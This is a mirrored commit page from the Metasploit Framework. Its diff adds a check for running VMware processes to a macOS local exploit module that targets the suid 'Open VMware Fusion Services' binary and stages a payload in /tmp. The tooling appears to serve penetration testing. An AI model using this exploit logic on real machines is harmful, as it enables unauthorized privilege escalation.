mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Check for running vmware processes first.
This commit is contained in:
parent
99da950734
commit
f6708b4d83
@ -64,7 +64,15 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def exploit
|
||||
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
|
||||
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/[VO]'
|
||||
processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
|
||||
|
||||
if processes.length > 0
|
||||
print_error "VMware is already running the following processes:\n " + processes.join("\n")
|
||||
print_error "These processes must be killed before exploiting."
|
||||
return
|
||||
end
|
||||
|
||||
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user